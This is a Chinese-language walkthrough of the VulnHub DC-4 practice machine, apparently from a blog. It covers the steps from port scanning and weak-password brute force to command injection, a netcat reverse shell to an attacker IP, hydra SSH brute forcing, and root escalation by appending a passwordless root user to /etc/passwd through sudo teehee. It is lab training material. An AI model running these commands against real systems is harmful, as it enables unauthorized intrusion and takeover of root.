DC系列靶机-DC4

一,环境的搭建

VM17 官网下载

kali 2023.4版 https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.4/

靶场文件 https://download.vulnhub.com/dc/DC-4.zip

二,攻略

主机发现;

靶机IP为:192.168.20.146

端口扫描;

复制代码
nmap -sV -p- -sC -T4 192.168.20.146

开放了22和80两个端口;

首先访问一下IP;

只有一个登录界面;

直接admin跑弱口令;

拿到一个密码,尝试登录;

进入command;

这三个命令都是可以执行的;

尝试burp suite抓包;

执行了这样的命令;

修改命令,查看是否可以执行;

可以执行其他的命令,尝试查看cat /etc/passwd

设置一个反弹连接;使用kali监听7777端口;

执行命令进行反弹连接;

bash 复制代码
nc -nv 192.168.20.151 7777 -c /bin/bash

建立连接成功;

bash 复制代码
python -c 'import pty;pty.spawn("/bin/bash")'

上述passwd中存在三个用户;

果然,在jim的目录下发现了一个旧的密码文件;

bash 复制代码
 hydra -L u.txt -P pass.txt 192.168.20.146 ssh

使用hydra跑一下上面的用户的ssh服务;

发现一组成功的密码;现在尝试切换用户;

切换成功,现在收集信息;

jim中没有可以使用root权限运行的程序;

在jim用户的/var/mail/jim邮件中存在一个charles用户的密码;

这封邮件来自于charles用户;

接下来尝试登录charles用户;

登录成功,并且存在一个root权限执行的程序,而且不需要密码;

使用teehee写入一个用户,具有root用户的权限;且没有密码;

bash 复制代码
echo 'mu::0:0::/root:/bin/bash' | sudo teehee -a /etc/passwd

这样就拿到了最终的flag;

三,结论

拿到登录框首先要尝试弱口令,对后台用户进行爆破;

在每切换到一个用户的时候,要尽可能多的进行信息收集,收集一切可以利用的信息;

相关推荐
szekl26 分钟前
HDMI 2.0 4×2矩阵切换器412HN——多信号输入输出的高清解决方案
linux·矩阵·计算机外设·电脑·ekl
weixin_3993806940 分钟前
k8s一键部署tongweb企业版7049m6(by why+lqw)
java·linux·运维·服务器·云原生·容器·kubernetes
阿巴~阿巴~41 分钟前
Linux基本命令篇 —— uname命令
linux·运维·服务器
天空之城夢主1 小时前
KVM高级功能部署
linux·服务器
IT成长日记1 小时前
【Docker基础】Docker数据卷管理:docker volume ls及其参数详解
运维·docker·容器·volume ls
pipip.2 小时前
UDP————套接字socket
linux·网络·c++·网络协议·udp
zkmall2 小时前
企业电商解决方案哪家好?ZKmall模块商城全渠道支持 + 定制化服务更省心
大数据·运维·重构·架构·开源
云资源服务商4 小时前
解锁阿里云日志服务SLS:云时代的日志管理利器
服务器·阿里云·云计算
绝不偷吃4 小时前
ELK日志分析系统
运维·elk·jenkins
朱包林5 小时前
day45-nginx复杂跳转与https
linux·运维·服务器·网络·云计算